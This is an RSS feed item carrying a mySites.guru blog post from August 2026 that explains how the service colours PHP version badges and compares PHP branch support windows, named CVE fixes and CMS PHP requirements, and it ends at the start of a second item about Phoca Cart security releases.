  &lt;p&gt;Accurate on 16 August 2026&lt;/p&gt;
  &lt;p&gt;Every version number, release date and support window below was correct on the day this was published. They will not stay that way. PHP ships a patch roughly every four weeks, so 8.5.9 will stop being the newest 8.5 release soon enough, and branches move from active support to security-fixes-only to end of life on a published schedule.&lt;/p&gt;
  &lt;p&gt;The mechanism does not age. The difference between a branch and a patch level, and the reason a higher version number can be the more out-of-date one, holds whatever the current numbers happen to be. For today&apos;s figures, &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;php.net publishes the timetable&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The Short Answer&lt;/h2&gt;
&lt;p&gt;PHP 8.4.24 is the newest release php.net publishes for the 8.4 branch, so it goes green. PHP 8.5.7 is two releases behind the newest 8.5 release, which is 8.5.9, so it goes amber. Both 8.4 and 8.5 are currently supported branches. The badge is not ranking one branch above the other.&lt;/p&gt;
&lt;h2&gt;A PHP Version Number Answers Two Questions&lt;/h2&gt;
&lt;p&gt;Read &lt;code&gt;8.5.7&lt;/code&gt; as three separate facts rather than one number that gets bigger over time.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;What it tells you&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Major&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;.5.7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;The language generation. PHP 8 has been current since 2020.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Branch&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;8.&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;.7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;The support window. Each branch has its own start date and its own death date.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patch&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;span&gt;8.5.&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;Whether you have taken the fixes that branch has already shipped.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The branch and the patch are independent. A brand new branch can be badly out of date on patches, and an older branch can be perfectly current. That is the situation our customer was looking at: 8.5 is the newer branch, and their 8.5 site was the one behind.&lt;/p&gt;
&lt;p&gt;Branches also run in parallel rather than in sequence. When PHP 8.5 arrived, PHP 8.4 did not stop. It carried on receiving patches on the same monthly rhythm, and it will keep doing so into 2028.&lt;/p&gt;
&lt;h2&gt;What the PHP Badge Actually Checks&lt;/h2&gt;
&lt;p&gt;Every hour, mySites.guru fetches the list of current releases straight from php.net&apos;s own machine-readable feed of active branches:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s https://www.php.net/releases/active
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reduced to the part that matters, that feed currently says:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;8.2&quot;: &quot;8.2.33&quot;,
  &quot;8.3&quot;: &quot;8.3.33&quot;,
  &quot;8.4&quot;: &quot;8.4.24&quot;,
  &quot;8.5&quot;: &quot;8.5.9&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mySites.guru badge rule itself is blunt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green.&lt;/strong&gt; Your PHP version string is exactly one of those four. You are on the newest patch of a branch php.net still publishes for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber.&lt;/strong&gt; It is anything else. One patch behind and ten patches behind get the same colour, because both mean there are published fixes you have not taken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red.&lt;/strong&gt; The version starts with 5 or 7, so the entire major series is dead, or the string contains &lt;code&gt;beta&lt;/code&gt; or &lt;code&gt;rc&lt;/code&gt;, because pre-release builds do not belong on production sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the list refreshes hourly, sites move from green to amber on their own within an hour of php.net publishing a new patch. Nobody has to notice and nothing has to be re-scanned.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;All three rules at once, on real rows. The green badges are sites on 8.5.9, the newest 8.5 release. The amber one is a site on 8.2.24, which was current until the 8.2 branch moved on to 8.2.33. The red ones are PHP 7.4, dead since November 2022, and no patch level rescues them because the rule catches the series by name.&lt;/p&gt;
&lt;p&gt;Notice what the badge does not do. Every site in that list is running Joomla 3.10.12, and their PHP badges range from green to red. The PHP colour is only ever about PHP.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A shortcut that is not signposted anywhere&lt;/p&gt;
  &lt;p&gt;Clicking a PHP badge in mySites.guru site lists drops that exact version into the site search box as a filter. Click the amber &lt;code&gt;8.5.7&lt;/code&gt; on one site and you immediately have every other site in your account sitting on 8.5.7, which is usually the whole server rather than the one site you were looking at.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Does a Newer PHP Version Show a Worse Colour?&lt;/h2&gt;
&lt;p&gt;Because two patch releases separate 8.5.7 from the current 8.5, and both of them carried security fixes. The 8.5 branch went 8.5.7 on 4 June 2026, 8.5.8 on 2 July, then 8.5.9 on 30 July.&lt;/p&gt;
&lt;p&gt;The 30 July release went out across all four live branches at once, which is what the PHP project does when the fixes are security fixes rather than bug fixes. It carried &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f&quot;&gt;CVE-2026-17544&lt;/a&gt;, an out-of-bounds write in BCMath, &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4&quot;&gt;CVE-2026-17543&lt;/a&gt;, a SQL injection in the PostgreSQL extension, and &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-vc5h-9ppw-p5f3&quot;&gt;CVE-2026-7260&lt;/a&gt;, a crash in Phar. The July release before it fixed memory corruption in &lt;code&gt;openssl_encrypt()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The amber badge in mySites.guru is therefore a statement about exposure rather than about version numbers. A site on 8.5.7 is missing named, published, exploitable fixes that a site on 8.4.24 already has. The smaller number is the safer server today.&lt;/p&gt;
&lt;p&gt;This is also why the amber tier exists for PHP at all. Joomla and WordPress version badges skip it: anything short of the current release goes straight to red, because CMS releases are less frequent and a missed one matters more. PHP ships a patch roughly every four weeks, on a Thursday, so amber fits a gap that is often only days old.&lt;/p&gt;
&lt;h2&gt;Which PHP Versions Are Supported Right Now?&lt;/h2&gt;
&lt;p&gt;Every PHP branch gets two years of active support, where ordinary bugs and security issues are both fixed, followed by two years where only critical security issues are patched. After four years it receives nothing at all.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Branch&lt;/th&gt;
&lt;th&gt;First released&lt;/th&gt;
&lt;th&gt;Active support until&lt;/th&gt;
&lt;th&gt;Security support until&lt;/th&gt;
&lt;th&gt;Status today&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8.2&lt;/td&gt;
&lt;td&gt;8 Dec 2022&lt;/td&gt;
&lt;td&gt;31 Dec 2024&lt;/td&gt;
&lt;td&gt;31 Dec 2026&lt;/td&gt;
&lt;td&gt;Security fixes only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.3&lt;/td&gt;
&lt;td&gt;23 Nov 2023&lt;/td&gt;
&lt;td&gt;31 Dec 2025&lt;/td&gt;
&lt;td&gt;31 Dec 2027&lt;/td&gt;
&lt;td&gt;Security fixes only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.4&lt;/td&gt;
&lt;td&gt;21 Nov 2024&lt;/td&gt;
&lt;td&gt;31 Dec 2026&lt;/td&gt;
&lt;td&gt;31 Dec 2028&lt;/td&gt;
&lt;td&gt;Active support&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.5&lt;/td&gt;
&lt;td&gt;20 Nov 2025&lt;/td&gt;
&lt;td&gt;31 Dec 2027&lt;/td&gt;
&lt;td&gt;31 Dec 2029&lt;/td&gt;
&lt;td&gt;Active support&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Anything below 8.2 is already gone. PHP 8.1 died on 31 December 2025, PHP 8.0 in November 2023, and PHP 7.4 back in November 2022.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;PHP branch support windows&lt;/p&gt;
  &lt;p&gt;Green is active support, amber is security fixes only, and the dashed line is today.&lt;/p&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        &lt;div&gt;&lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;8.0&lt;/div&gt;
          &lt;div&gt;8.1&lt;/div&gt;
          &lt;div&gt;8.2&lt;/div&gt;
          &lt;div&gt;8.3&lt;/div&gt;
          &lt;div&gt;8.4&lt;/div&gt;
          &lt;div&gt;8.5&lt;/div&gt;
        &lt;/div&gt;
        &lt;div&gt;&lt;/div&gt;
      &lt;/div&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;2023&lt;/span&gt;
          &lt;span&gt;2024&lt;/span&gt;
          &lt;span&gt;2025&lt;/span&gt;
          &lt;span&gt;2026&lt;/span&gt;
          &lt;span&gt;2027&lt;/span&gt;
          &lt;span&gt;2028&lt;/span&gt;
          &lt;span&gt;2029&lt;/span&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;span&gt;Today: 16 August 2026&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;dl&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;Active support.&lt;/dt&gt; &lt;dd&gt;Bugs and security issues are both fixed, with regular patch releases.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;Security fixes only.&lt;/dt&gt; &lt;dd&gt;Critical security issues only, released as needed.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;End of life.&lt;/dt&gt; &lt;dd&gt;No further releases of any kind. Known vulnerabilities stay unpatched.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
  &lt;/dl&gt;
&lt;/div&gt;
&lt;p&gt;PHP 8.6 reached its first beta in August 2026, with general availability targeted for late November. It is not a supported branch yet, and a production site running an 8.6 beta gets a red badge rather than credit for being early.&lt;/p&gt;
&lt;h2&gt;How Bad Is It to Be Running PHP 5, 7, 8.0 or 8.1 in 2026?&lt;/h2&gt;
&lt;p&gt;It depends enormously on which one, and lumping them together is how the warnings get ignored. PHP 8.1 stopped receiving fixes seven months ago. PHP 5.6 stopped more than seven years ago. Treating those as the same emergency is how you get a client who tunes out the whole subject.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Series&lt;/th&gt;
&lt;th&gt;Last ever fix&lt;/th&gt;
&lt;th&gt;Unpatched for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;31 December 2025&lt;/td&gt;
&lt;td&gt;7 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;26 November 2023&lt;/td&gt;
&lt;td&gt;2 years 8 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.4&lt;/td&gt;
&lt;td&gt;28 November 2022&lt;/td&gt;
&lt;td&gt;3 years 8 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.0&lt;/td&gt;
&lt;td&gt;3 December 2018&lt;/td&gt;
&lt;td&gt;7 years 8 months&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.6&lt;/td&gt;
&lt;td&gt;31 December 2018&lt;/td&gt;
&lt;td&gt;7 years 7 months&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;The Advisory List Stops Mentioning You&lt;/h3&gt;
&lt;p&gt;Here is the part that catches people out. When PHP published &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4&quot;&gt;CVE-2026-17543&lt;/a&gt;, a SQL injection in the PostgreSQL extension, the advisory listed its affected versions as everything below 8.2.33, 8.3.33, 8.4.24 and 8.5.9. PHP 8.1 is not mentioned. Neither is 7.4, or 5.6.&lt;/p&gt;
&lt;p&gt;That absence is not a clean bill of health. Those branches are missing from the range because nobody assessed them, not because the bug stops at 8.2. The vulnerable code was almost certainly there long before the branches that got named, and there will never be a fix, an advisory, or a version number to check against. Your scanner reports nothing, because there is nothing published to report.&lt;/p&gt;
&lt;p&gt;So the risk on a dead branch is unknowable rather than merely high, and it compounds every month. PHP shipped fixes for eighteen CVEs across 2026&apos;s releases alone. A few of those only touch code introduced in 8.5, but most reach back across the branches, and none of them are being backported to anything that has already died.&lt;/p&gt;
&lt;h3&gt;What Actually Gets Sites Hacked&lt;/h3&gt;
&lt;p&gt;In the compromises we clean up, the PHP interpreter itself is rarely the way in. It is almost always the CMS or an extension. A site on PHP 8.1 that is otherwise current and well maintained is not in immediate danger from the interpreter, and anyone telling you it will be breached this week because of the PHP version is selling something.&lt;/p&gt;
&lt;p&gt;The reason old PHP still matters is what it does to everything above it. You cannot run current Joomla or WordPress on it. You cannot take extension updates once vendors raise their floors. So the layer that genuinely does get exploited is frozen along with the interpreter, and it stays frozen until PHP moves. That is the mechanism, rather than the interpreter itself being kicked in.&lt;/p&gt;
&lt;p&gt;Which gives a rough grading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP 8.1.&lt;/strong&gt; Not an emergency, and a reasonable place to be mid-migration. It is a deadline you have already missed rather than a fire, so put a date on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 8.0 and 7.4.&lt;/strong&gt; Three years without a fix, and past the point where current CMS and extension releases will install. Plan the move now, because the stack above it has already stopped moving.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 7.0 and 5.x.&lt;/strong&gt; A rebuild conversation. Seven-plus years unpatched, no current CMS will run, and the code will need real work to port. &lt;a href=&quot;https://w3techs.com/technologies/details/pl-php&quot;&gt;W3Techs&lt;/a&gt; still has 29.0% of PHP sites on version 7 and 7.9% on version 5, so more than a third of the PHP web is here. Common is not the same as safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Green Means Patched, It Does Not Mean Future-Proof&lt;/h2&gt;
&lt;p&gt;Look again at the four versions that can earn a green badge in mySites.guru today: 8.2.33, 8.3.33, 8.4.24 and 8.5.9. Two of those four are on branches that left active support months or years ago. PHP 8.3 has been security-fixes-only since 31 December 2025, and PHP 8.2 since the end of 2024.&lt;/p&gt;
&lt;p&gt;So a site running PHP 8.3.33 shows a perfectly green badge while sitting on a branch that no longer receives bug fixes at all, only critical security patches. A site on 8.2.33 gets the same green, and the 8.2 branch stops receiving even those on 31 December 2026, roughly four months away. The badge says nothing about any of it.&lt;/p&gt;
&lt;p&gt;So half the versions that can go green are on branches already past their active-support window.&lt;/p&gt;
&lt;p&gt;What happens next is the sharpest limitation of the whole colour scheme. When 8.2 reaches end of life, php.net drops it out of the active releases feed, 8.2.33 stops matching, and the badge turns amber by itself. That is the right direction to move, but amber is also the colour for &quot;one patch behind on a perfectly healthy branch&quot;. A dead branch and a fortnight-old patch level end up looking identical.&lt;/p&gt;
&lt;p&gt;You can watch this happening today on PHP 8.1, which died on 31 December 2025. An 8.1 site shows amber rather than red, because the red rule only catches the PHP 5 and PHP 7 series by name. The colour understates the problem, and if you are running 8.1 the amber badge is doing you a disservice.&lt;/p&gt;
&lt;p&gt;So read green as &quot;you have taken the patches that exist&quot;, which is a question you can act on this afternoon, and treat the branch end-of-life dates in the table above as a separate question that belongs in next year&apos;s budget. A site on 8.2 or 8.3 is fully patched and on a countdown at the same time. Our &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version tracking&lt;/a&gt; does the equivalent job for Joomla and WordPress core versions.&lt;/p&gt;
&lt;h2&gt;What PHP Version Do WordPress and Joomla Actually Need?&lt;/h2&gt;
&lt;p&gt;The CMS minimums are considerably lower than what you should actually run, which is where a lot of the &quot;but my site works fine&quot; arguments come from.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Latest release&lt;/th&gt;
&lt;th&gt;Minimum PHP&lt;/th&gt;
&lt;th&gt;Recommended PHP&lt;/th&gt;
&lt;th&gt;Highest PHP it runs on&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WordPress&lt;/td&gt;
&lt;td&gt;7.0.4&lt;/td&gt;
&lt;td&gt;7.4 (dead since 2022)&lt;/td&gt;
&lt;td&gt;8.3 or greater&lt;/td&gt;
&lt;td&gt;Moves with PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 1.5&lt;/td&gt;
&lt;td&gt;1.5.26 (2012)&lt;/td&gt;
&lt;td&gt;4.3.10&lt;/td&gt;
&lt;td&gt;5.3&lt;/td&gt;
&lt;td&gt;PHP 5.3 era, never PHP 7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 2.5&lt;/td&gt;
&lt;td&gt;2.5.28 (2014)&lt;/td&gt;
&lt;td&gt;5.2.4&lt;/td&gt;
&lt;td&gt;5.6&lt;/td&gt;
&lt;td&gt;5.6, never PHP 7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3&lt;/td&gt;
&lt;td&gt;3.10.12 (2023)&lt;/td&gt;
&lt;td&gt;5.3.10&lt;/td&gt;
&lt;td&gt;8.0&lt;/td&gt;
&lt;td&gt;8.1, dead since Dec 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;td&gt;5.4.7&lt;/td&gt;
&lt;td&gt;8.1.0 (dead since Dec 2025)&lt;/td&gt;
&lt;td&gt;8.3&lt;/td&gt;
&lt;td&gt;Moves with PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 6&lt;/td&gt;
&lt;td&gt;6.1.2&lt;/td&gt;
&lt;td&gt;8.3.0&lt;/td&gt;
&lt;td&gt;8.4&lt;/td&gt;
&lt;td&gt;Moves with PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Both projects set their floor at whatever will not break existing installs, so the minimum is a compatibility statement rather than a recommendation. WordPress says so directly on its requirements page, noting that it still runs on PHP 7.4 while pointing out that 7.4 reached end of life years ago.&lt;/p&gt;
&lt;p&gt;The last column is the one that matters for older sites, because it is a ceiling rather than a floor. Joomla 3 is the sharpest case. The project backported &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/36083&quot;&gt;PHP 8.1 compatibility fixes to the 3.10 branch&lt;/a&gt; before that branch closed, so 8.1 is the highest PHP a Joomla 3 site was ever made to run on. PHP 8.1 itself died on 31 December 2025.&lt;/p&gt;
&lt;p&gt;Which means a fully patched, best-case Joomla 3 site is sitting on a PHP branch that has been receiving nothing for seven months, and no hosting change fixes it. Selecting PHP 8.2 in the control panel breaks the site instead. This is the extension problem from the previous section, one level up: the CMS is the thing pinning PHP down, so the CMS has to move first. Joomla 1.5 and 2.5 are worse again, since neither ever ran on PHP 7 at all.&lt;/p&gt;
&lt;p&gt;Joomla 3 support formally ended on 17 August 2023, though a paid Extended Long Term Support programme carried on patching it until early 2025, and our own &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 patch tool&lt;/a&gt; still applies known security fixes to 3.10.12 sites. None of that moves the PHP ceiling.&lt;/p&gt;
&lt;p&gt;The gap between those two columns is where most of the web lives. &lt;a href=&quot;https://w3techs.com/technologies/details/pl-php&quot;&gt;W3Techs data from 16 August 2026&lt;/a&gt; puts PHP on 70.3% of all sites whose server-side language is known, and among those, 29.0% are still on PHP 7 and 7.9% on PHP 5. More than a third of the PHP web is running a major version that has not received a security fix in years. Every one of those sites gets a red badge from us, and the badge is being generous.&lt;/p&gt;
&lt;p&gt;If you are planning upgrades, our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7 compatibility&lt;/a&gt; posts cover what each jump actually needs, and the &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale guide&lt;/a&gt; covers doing it across a portfolio rather than one site at a time.&lt;/p&gt;
&lt;h2&gt;How Do I Move a Site From Amber to Green?&lt;/h2&gt;
&lt;p&gt;PHP belongs to your host, not to your CMS, so there is nothing to click inside WordPress or Joomla. On most mass-market hosting the answer is a PHP version switcher somewhere in the control panel, and for the majority of sites that switcher is the entire story.&lt;/p&gt;
&lt;p&gt;Two things make it messier than that sounds, and both of them explain amber badges that look like nobody&apos;s fault.&lt;/p&gt;
&lt;h3&gt;A Server Does Not Have One PHP Version&lt;/h3&gt;
&lt;p&gt;It has several, and they can all differ. The CLI binary, PHP-FPM, CGI and any legacy mod_php can each sit on a different version on the same machine. Beyond that, a decent host will let you set the version per domain, and often per directory through &lt;code&gt;.htaccess&lt;/code&gt; overrides, which means the front end and the administrator area of one site can genuinely run different PHP versions. Per-file overrides exist too.&lt;/p&gt;
&lt;p&gt;So running &lt;code&gt;php -v&lt;/code&gt; over SSH tells you the version of the command-line binary and frequently nothing whatsoever about what serves your pages. It is the check most people reach for first, and it is the one most likely to send you off in the wrong direction.&lt;/p&gt;
&lt;p&gt;The version that counts is the one the site itself reports while serving a request. Both WordPress and Joomla surface that on their own system information screens, and mySites.guru reads the same self-reported value from each connected site, which is why the badge reflects reality rather than what the server&apos;s shell says.&lt;/p&gt;
&lt;h3&gt;Your Host Only Offers What It Has Installed&lt;/h3&gt;
&lt;p&gt;The switcher lists the versions your host has bothered to load onto that server, and hosts lag behind PHP releases considerably. Patch releases arrive roughly every four weeks. Plenty of hosts are weeks or months behind that, and some never offer a specific patch at all, jumping straight from one to the next.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;An amber badge in mySites.guru is not always something you can fix&lt;/p&gt;
  &lt;p&gt;If your host has not installed the current patch, it will not be in the switcher and there is no setting that conjures it up. At that point the useful action is to ask them when it is coming. A host that is habitually months behind on security patches is telling you something about the rest of their operation.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;With that in mind:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amber, and the current patch is in the switcher.&lt;/strong&gt; Select it. This is the common case and takes a minute.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber, and the current patch is not offered.&lt;/strong&gt; Ask your host when they are applying it. Nothing on your side changes this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber on a branch that is near end of life.&lt;/strong&gt; Move up a branch rather than chasing the patch, but test first: a branch change is a real upgrade, unlike a patch bump.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red.&lt;/strong&gt; Treat it as a migration, not a switch. PHP 5 and 7 code often will not run unmodified on PHP 8, so work on a copy. If the CMS itself is what pins you to the dead branch, the CMS is the thing that has to move first.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Patch bumps inside a branch are designed to be safe, which is the reason to take them quickly. Branch changes are where things break, so those get a staging copy and a proper test.&lt;/p&gt;
&lt;p&gt;If you want this across everything you run rather than one site at a time, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports the PHP version alongside the rest of a site&apos;s state. Watching it on every site, every hour, and colouring it against what php.net published this morning is part of the mySites.guru subscription.&lt;/p&gt;
&lt;h2&gt;Your Extensions Get a Vote&lt;/h2&gt;
&lt;p&gt;Moving up a branch reads like a hosting decision, but the code running on the site has to agree, and often it does not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Old code blocks the move up.&lt;/strong&gt; Every PHP release removes things as well as adding them. An extension written in 2019 was tested against the PHP versions that existed in 2019, and nobody validated it against PHP 8.5, because PHP 8.5 did not exist yet. Where the vendor has disappeared, or the extension was abandoned years ago, or it is the bespoke component a previous developer wrote and never documented, there is nobody left to do that validation now. The site cannot move until the code moves.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;New code blocks standing still.&lt;/strong&gt; This is the half people miss. Vendors raise their own PHP floors, and when they do, the update stops being offered to you at all. When &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;Regular Labs patched its entire Joomla extension catalogue&lt;/a&gt;, the release also raised the minimum to PHP 8.2. Sites still on PHP 8.1 were not offered the security update, so an old PHP version left them stranded on the vulnerable builds of everything that vendor makes.&lt;/p&gt;
&lt;p&gt;That is the vice. Old extensions stop you going forwards, and new extension releases stop you staying where you are. A site nobody has touched for a few years usually has both problems at the same time, and each one is being made worse by the other.&lt;/p&gt;
&lt;p&gt;Which is why &quot;just upgrade PHP&quot; is glib advice. A patch bump inside a branch is low-risk and should be taken quickly. A branch change is a project: it needs a staging copy, a real test, and before either of those, an inventory of what is actually installed and how far behind it is. mySites.guru keeps that inventory for every connected site, with the version of every extension, which is the part that turns &quot;we have no idea what will break&quot; into a number of hours.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;PHP: Supported Versions&lt;/a&gt; - the official support timetable, and the source of the dates in this post.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/eol.php&quot;&gt;PHP: Unsupported Branches&lt;/a&gt; - every branch that has already reached end of life, with the date it happened.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/ChangeLog-8.php&quot;&gt;PHP 8 ChangeLog&lt;/a&gt; - what was actually in each patch release, including the CVEs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/about/requirements/&quot;&gt;WordPress Requirements&lt;/a&gt; - the official minimum and recommended PHP versions for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla Technical Requirements&lt;/a&gt; - the current Joomla manual, which supersedes the old docs wiki.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>updates</category><category>security</category><category>hosting</category><category>end-of-life</category><category>site management</category><enclosure url="https://mysites.guru/_astro/php-supported-versions-amber-green.QzE83_T0.png" length="0" type="image/png"/></item><item><title>Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection</title><link>https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/</guid><description>Phoca Cart 5.2.4, 6.1.7 and 4.0.13 patch an unauthenticated SQL injection in the Joomla extension&apos;s product filter. Joomla 5 sites running Phoca Cart 6.x are not offered it.</description><pubDate>Sun, 16 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On 16 August 2026 Phoca shipped three security releases of Phoca Cart, the e-commerce extension for Joomla. The first two went out on the morning: 6.1.7 at 10:23 UTC and 5.2.4 sixteen minutes later. A third, 4.0.13 for the Joomla 4 line, followed that evening at 20:39 UTC. Here is everything Phoca published about what 